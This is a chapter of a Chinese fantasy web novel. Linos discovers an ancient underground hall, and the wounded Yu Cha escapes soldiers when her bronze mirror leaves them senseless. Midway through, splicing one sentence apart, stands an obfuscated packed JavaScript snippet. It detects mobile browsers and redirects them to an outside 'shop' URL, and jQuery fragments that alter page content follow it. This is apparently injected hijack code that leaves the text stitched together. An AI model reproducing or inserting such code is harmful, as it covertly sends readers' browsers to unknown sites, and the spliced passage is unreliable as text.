黑暗并非虚无。它有重量,有温度,有质地。
利诺斯感觉自己像一枚被投入深海的铅丸,正在穿过某种比水更稠密、比空气更冰冷的介质,不断下坠,不断沉没。周围不是水,不是风,不是任何他熟悉的物质——而是一种无法形容的、介于存在与虚无之间的东西。它包裹着他,压迫着他,却又不完全接触他的皮肤,仿佛隔着某种极其纤薄的、透明的膜。
他听不到自己的呼吸,感觉不到心跳,甚至无法确定自己是否还在呼吸、还在活着。身体的存在感变得模糊而遥远,只有意识还在微弱地燃烧,像风中的残烛。
不知过了多久——也许只是一瞬,也许是永恒——下坠的感觉停止了。
不是着陆,而是被某种力量轻轻托住,然后缓缓放置在一片坚实的、冰凉的表面上。
他趴在那里,剧烈地喘息。空气回来了,冰冷刺骨,带着一种奇异的、没有任何味道的洁净感——空无的洁净,仿佛从未被任何生命呼吸过的、绝对的原初。
他挣扎着撑起身体,摸索着周围。地面光滑,平整,似乎是某种打磨过的石材。没有灰尘,没有苔藓,没有任何自然沉积的痕迹。远处,极其遥远的地方,有一点点极其微弱的光,不是火焰或晶体的发光,而是一种灰白色的、弥漫的、不知来源的微茫,如同黎明前最深重的夜色边缘那一道若有若无的缝隙。
他站了起来——左腿剧痛,但竟然还能支撑。失血和虚弱让他一阵晕眩,他扶住旁边的……什么东西。触手冰冷,光滑,有着规整的棱角。他转头看去,在极其微弱的光线下,隐约辨认出那是一根立柱,表面刻着复杂的纹路。
更多的立柱。一排排,一列列,延伸到黑暗深处,如同沉睡的军队,或沉默的墓碑。
这里是一个大厅。巨大的、空旷的、不知建于何时、也不知遗弃了多久的地下大厅。风格与“星之眼”和青铜档案馆一脉相承,但更加古老,更加……肃杀。
空气里没有硫磺味,没有水汽,没有腐败气息。只有那种绝对的、令人心悸的洁净和冰冷。
他试着走了几步,每一步都在光滑的地面上激起轻微的回响,那回音在空旷中传播得很远很远,仿佛惊扰了千年的沉睡。
怀中的布囊还在,五块碎片沉甸甸地坠着。他摸了一下,冰凉的,没有震动,没有共鸣。这里……似乎隔绝了它们与地脉系统的联系。
他继续向前走。不是因为他知道方向,而是因为停在这里,他可能会被寒冷和寂静杀死。
越往深处走,那些灰白色的微光就越明显一些。他终于看清了光源——是立柱本身。那些立柱表面刻蚀的纹路,会在极深的黑暗中发出极其微弱的、冷白色的荧光,如同深海中的磷光。而大厅的深处,立柱更加密集的地方,有一处明显高出地面的平台。
他走向平台。
平台上没有骸骨,没有器物,没有悬浮的核心碎片。只有一个深深凹陷下去的、光滑如镜的圆形凹槽,直径约莫一臂之长。凹槽底部,刻着一幅巨大的、复杂的、与“星之眼”平台上极其相似的同心圆与辐射线条图案。但与“星之眼”不同的是,这个图案的中心,没有预留任何放置碎片的凹痕——而是完整的、浑然一体的。
仿佛……这里曾经有过某个核心,但已被取走。或者,这里本身就是某个更大系统的接收端,而不是控制端。
利诺斯蹲下身,伸手触摸那凹槽的边缘。冰冷,光滑。指尖所及之处,那些刻蚀的线条似乎……极其微弱地、极其缓慢地,流转过一丝若有若无的灰色流光。不是之前所见任何碎片的颜色,而是纯粹的、无色的、像水银又像雾气的灰。
然后,他听到了声音。
不是通过空气传来的,而是直接出现在脑海里的——一个极其遥远、极其微弱、仿佛从时空另一端穿透重重帷幕而来的共鸣声。不是语言,不是吟唱,而是……钟声?弦音?某种巨大的、古老的、金属质地的嗡鸣,带着穿透千年的疲惫与庄严。
那嗡鸣只持续了一瞬,却在他的灵魂深处引发了剧烈的震颤。
与此同时,怀中的五块碎片,猛然共振!不是之前那种温和的、同频的共鸣,而是一种惊惶的、预警般的、急促的脉冲。仿佛它们感知到了什么巨大的、不可对抗的存在,正在从极深的沉睡中苏醒——或者,正在注视这里。
利诺斯猛地缩回手,踉跄后退。
平台的灰光瞬间收敛,图案恢复死寂。碎片的脉冲也迅速平息,重新陷入沉默。
他大口喘着气,冷汗浸透了后背。
这里……不是“星之眼”那样的观测站,也不是档案馆那样的记录库。这里更像是……某种深层接口?或者,更可怕地——一个被遗弃的、但并未彻底关闭的通道。
而那个年轻人所说的裂隙……
他转身,想寻找出口,想离开这个令人窒息的地方。
就在这一刻,他看到平台的另一侧,凹槽边缘最靠近地面的地方,刻着一行极其细小的、几乎被磨损殆尽的铭文。
他看不懂。但那铭文的风格——线形的、抽象的、与档案馆碑文同源的——他一眼就认了出来。
他怔怔地看着那行字,心中突然涌起一种极其复杂的感觉。不是恐惧,不是困惑,而是一种沉甸甸的、近乎悲凉的明悟。
这里,是母神文明那个庞大网络的末端之一。是那个跨越大陆与海洋的系统的边界。是回响所能抵达的最远处——以及,裂隙开始的地方。
而那个年轻人,那个手持暗蓝色金属薄片、拥有诡异精神力量的人,不是第一个找到这里的访客。
他,甚至可能不是人类。
————————————
同一时刻,山腹深处,台阶通道的阴影里。
余茶蜷缩在那处岩石凹陷中,如同一只被遗弃在荒野的、奄奄一息的幼兽。周围是绝对的黑暗。利诺斯离开后,她独自在这里度过了仿佛一个世纪那么长的时间。
上方,隔着重重的岩层和曲折的通道,隐约还能听到偶尔传来的模糊人声、金属敲击声,以及……刚才那一阵突如其来的、沉闷的爆响和骚动。她的心瞬间提到了嗓子眼——是利诺斯?他做了什么?他现在怎么样了?
她屏息倾听,试图从那遥远而混沌的声响中分辨出任何与利诺斯有关的线索。但声音太模糊,太混乱,很快又平息了下去,只剩下零星的、难以解读的窸窣和脚步声。
然后是更长的寂静。
没有脚步声向她藏身的这条侧向通道靠近。也没有利诺斯回来的动静。
他……是成功逃脱了?还是……
她不敢再想下去。寒意从四面八方渗透进来,不只是寒冷,还有那种被遗弃在深渊中的、无边的孤独。她抱紧怀中那面夔龙纹铜镜和那块从水底捞出的青铜残碑,这是她身边仅有的东西。
铜镜冰冷沉寂,青铜残碑上的纹路在黑暗中完全无法辨认。所有曾短暂依仗的力量,此刻都如同死去一般。
她的左脚已经完全失去知觉,从脚踝到小腿中段,整个区域肿胀冰冷,皮肤呈现紫黑与苍白交杂的颜色。刚才浸水后重新包扎的布条早已被血和脓液浸透,紧紧粘在伤口上,每一次脉搏都带来一阵钝痛,那是组织坏死的征兆。她知道,如果再不得到有效的治疗,这条腿保不住了,而失去一条腿在这个时代意味着什么——意味着被彻底剥夺行动能力,意味着在追捕、饥饿、寒冷面前没有任何反抗余地,意味着成为彻底的累赘,然后被丢弃、被遗忘。
她低头,在黑暗中看着自己的左脚。虽然什么也看不见,但她能想象那狰狞的样子。之前在南湾洞穴攀岩时,她还能用意志压过疼痛,在利诺斯背上扮演不那么累赘的角色。在神罚之面下,她还能用匕首划开自己的皮肉,以血为祭强行开启密道。在星之眼的石室,她还能承受那撕裂意识的记忆灌入。
但现在,她的身体已经到达极限了。不是意志不够,是燃料已经耗尽。
恐惧如同冰冷的藤蔓,从左脚开始,缓慢地缠绕上她的心脏。
她其实很怕死。一直怕。但更怕的是……在死之前,先一步失去作为人的尊严,变成一件需要被背负、被怜悯、最终被遗弃的沉重行李。那个来自现代世界的、习惯将一切计算清楚、从不依赖他人的“余茶”,正在这黑暗中被一点点剥离外壳,暴露出里面那个脆弱、恐惧、渴望被抓住又怕被抓住的……陌生的自己。
她用力咬住下唇,血腥味弥漫开来,疼痛带来了短暂的清醒。
不。不能在这里等死。不能就这样放弃。
利诺斯离开前把铜镜和残碑交给了她,这说明他认为这两样东西至关重要,甚至比他自己携带更安全。她必须守住这些东西,也必须……想办法活下去。
上方再次传来声响。这一次,更近,更清晰。
是脚步声,以及压低的人声。
“……这边有条侧巷……被碎石堵了一半……之前没注意……”
“……搜!克里同命令,任何可疑的通道、空隙、洞穴,都要查探清楚!那个闯进来制造混乱的家伙肯定还有同伙!”
余茶的心跳几乎停滞。他们下来了!不是利诺斯,是士兵!
脚步声越来越近,火把的光开始透过通道拐角的岩壁,折射出微弱的、摇曳的红光。人影在墙上晃动,距离她藏身的凹陷不到二十步。
没有退路。她的左脚完全无法移动,即使能移动,也无法在黑暗中无声无息地逃离。这里唯一的掩体就是这处岩石凹陷,但并不是什么密不透风的暗室——只要士兵走到这个位置,举着火把往里一照,立刻就会发现她。
她握紧了那面铜镜,镜背冰冷的夔龙纹硌着掌心。又缓缓松开。镜子不是武器。残碑也不是。
她将这些东西紧紧抱在怀里,缩进凹陷的最深处,尽量减小自己的体积。她的呼吸压得极低极低,心脏却疯狂擂动,几乎要震碎胸腔。
火把的光越来越亮。脚步声越来越近。
“……这边来!这块碎石有刚被踩过的痕迹!”
“小心!可能有埋伏!”
“怕什么?两个重伤的人,还能杀人吗?”
三道人影转过拐角,出现在通道中。当先一人举着火把,身后两人手持长矛,警惕地扫视着狭窄的空间。火把的光扫过岩壁,扫过地面,一寸寸逼近那处岩石凹陷。
余茶屏住呼吸,将自己的脸埋入臂弯,仿佛这样就能隐形。
火把的光,已经照到了凹陷边缘。
然后——
“嗡——”
一声极其轻微、几乎被心跳和脚步声掩盖的金属嗡鸣,从她怀中的铜镜上传来。
余茶心脏猛地一缩!
与此同时,她感觉到,那块从水底捞出的、被她压在铜镜下面的青铜残碑,竟然微微震动了一下。
不是镜子的共鸣,是残碑本身的震动。而且震动的频率……与之前任何一次都不相同。更低沉,更短促,像是某种……呼应?或者警告?
不对!镜子没发光,残碑也没发光,为什么会有震动和嗡鸣?!
火把的光在凹陷边缘停住了。举着火把的士兵似乎听到了什么,侧耳倾听。
“……你们听到什么声音没有?”
“没有。别发呆了,赶紧搜完这边,回去复命。”
士兵迟疑了一下,还是举着火把,向凹陷内探来。
火光即将照亮余茶苍白的脸——
就在这一刻,异变再次发生。
她怀中的镜子和残碑,此刻,在同一瞬间,齐齐发出一道极其短暂、极其强烈、如同求救般急促的脉冲共鸣。
“嗡——!!!”
这一次,声音清晰得连三个士兵都听得一清二楚!
“什么东西?!”
“在那边!凹坑里!”
三道火把同时照向凹陷!
余茶暴露在光中!
她没有抬头,没有尖叫,甚至没有试图逃跑。她只是死死抱着怀里的镜子和残碑,浑身僵硬如石。
完了。
这个念头冰冷而平静。
然而——
脉冲共鸣发出后,那三名士
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226105|197565||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
兵,在听到嗡鸣、看到凹坑里确实有人影的瞬间,却同时僵在原地,如同被石化。他们的表情凝固在惊骇和警惕的瞬间,眼睛睁大,嘴巴半张,却发不出任何声音,身体也无法移动分毫。火把从其中一人手中滑落,在空中缓慢地翻滚,竟如同被投入粘稠的蜜糖,下落的速度异常缓慢、异常诡异。
余茶怀中的夔龙纹铜镜,镜面突然泛起一层极其淡薄、几乎透明的、灰白色的流光。那流光没有任何热度,却带着一种亘古的、威严的、不容亵渎的压迫感。流光从镜面溢出,如同轻雾般弥漫开来,笼罩了余茶全身,并迅速向那三名士兵蔓延。
流光触及第一名士兵的刹那,他眼中的惊骇与挣扎骤然熄灭,取而代之的是一种空洞的、失神的、仿佛灵魂被抽离的茫然。他的身体摇晃了一下,然后如同木偶断线,直直地向前栽倒!
第二名、第三名士兵同样如此。没有惨叫,没有挣扎,只是瞳孔涣散,意识消散,像三具被突然抽空内容的躯壳,软倒在地。
火把落在地上,嗤嗤燃烧,照亮了这诡异的一幕。
余茶跪坐在凹陷中,怀抱着镜子,浑身战栗,几乎不敢相信自己的眼睛。
她低头看向铜镜。镜面那层灰白色的流光正在迅速消退,夔龙纹路再次变得黯淡无光,仿佛刚才那一切只是一场幻觉。
她又看向倒在地上的三名士兵。他们还有呼吸,脉搏也在微弱跳动,但眼神空洞,口涎垂落,如同植物人。
她……不,是镜子……做了什么?
她猛地想起“星之眼”石室中那些灌入脑海的知识碎片,其中有一段极其模糊、始终无法解读完全的警告,此刻如同闪电般划过意识:
“……守视者临终之铭……非授权者觊觎核心印记……则心脉断锁……意识隔绝……”
心脉断锁。意识隔绝。
这是……系统最后一道、玉石俱焚般的防御机制?还是镜子作为守视者凭证所附带的同归于尽式保护?
她不知道。她只知道自己刚刚从必死的绝境中活了下来,以一种她完全无法理解、也完全无法掌控的方式。
左脚传来的剧痛将她从震惊中拉回现实。她低头,鲜血正从包扎的边缘缓缓渗出,染红了身下的岩石。刚才那阵剧烈的脉冲共鸣和流光的释放,似乎对她的身体造成了某种额外的负担——或者,是她的生命体征已经微弱到接近那个防御机制触发的阈值。
她不能留在这里。士兵搜过来了,第一批人虽然被击倒,但很快会有第二批、第三批。而利诺斯……依然没有回来。
她将铜镜和残碑重新抱紧。然后,她用仅剩的右手,扒着岩石,拖着完全无法用力的左脚,一点点、一寸寸地,从凹陷中爬了出来。
火把的光照亮前方——那条利诺斯离开时走的路,向上通往平台和井道入口的方向。那里有克里同的大批人马。
另一条,是她刚才隐约注意到的、在凹陷更深处、被一块半掩的岩石挡住一半的、极其低矮狭窄的缝隙。那缝隙极其隐蔽,若非趴在地上,根本看不到。而且,有极其微弱、几乎察觉不到的气流,从里面缓缓流出。
她选择那条缝隙。
她不知道它通向哪里。不知道里面是否有出路。甚至不知道自己是否还能爬进去。
她只知道,这是此刻唯一的选择。
她将镜子、残碑一一推进缝隙,然后,用右手扒着冰冷的岩石,将完全不听使唤的左脚拖在后面,如同一条濒死的、被斩断一半身躯的虫子,一寸寸挤进那道黑暗狭窄的裂隙。
身后,火把的微光越来越远,三名士兵空洞的躯体横陈在地,如同无言的墓碑,标记着她又一次死里逃生的轨迹。
前方,是无边的黑暗、未知的命运,以及……一阵隐约的、从极深处传来的、仿佛金属在远古沉睡中发出的悠长回响。
那回响,与她刚才在大厅中触碰到平台时听到的嗡鸣,如此相似。
又如此遥远。
---
与此同时,地下河湾。
燃烧的火焰已经熄灭,只剩下一地焦黑的残迹和弥漫不散的白烟。克里同的士兵已经封锁了这片区域,正在进行细致的搜查和记录。
克里同本人站在拱形石门前,眉头紧锁,凝视着门后那片吞噬一切光线的黑暗。他的手指无意识地在剑柄上敲击着,这是他紧张或愤怒时的习惯。
“……派人下去探过吗?”他问。
“派了三人,绳系腰,火把持足。”旁边的队长低声回答,“但……下去不到十步,火把就无故熄灭。绳索也突然松弛。拉上来时,三人俱已昏迷,至今未醒。”
克里同的眉头皱得更紧。他没有立刻说话,只是盯着那道石门,仿佛能透过黑暗看穿它的秘密。
“……那个闯进来的家伙,”他缓缓道,“你确定掉进去了?”
“亲眼所见。他浮出水面后,石门中突然传来一股吸力……他来不及反应,就被拖进去了。那两位跟着他出来的护卫也证实。”
克里同沉默良久。
“把这里封了。留人看守,任何人不得靠近。”他沉声下令,“带上那几个昏迷的,回去找医者。还有,让今天在场所有人都不要再谈论这件事——尤其是关于那个拿蓝色东西的年轻人的事。”
“是。”
克里同最后看了一眼那道沉默的石门。
他想起阿尔克提斯,想起她那双燃烧着信仰、从未对他屈服的眼睛,想起她说的那些关于古老誓言和大地愤怒的话。他曾嗤之以鼻,以为那不过是祭司阶层为了维护特权而编造的谎言。
但现在……
他转身,大步离开。
身后,石门依旧沉默。黑暗依旧深沉。
没有人知道,在那黑暗的尽头,一个来自克里特岛地下最古老裂隙的人,刚刚触碰到了沉睡千年的回响。
也没有人知道,在山的另一边,一条即将被碎石和尘埃淹没的裂隙里,一个左脚已经彻底坏死、意识在昏迷边缘徘徊的女人,正抱着一面古老的铜镜,向着那回响传来的方向,一寸寸爬行。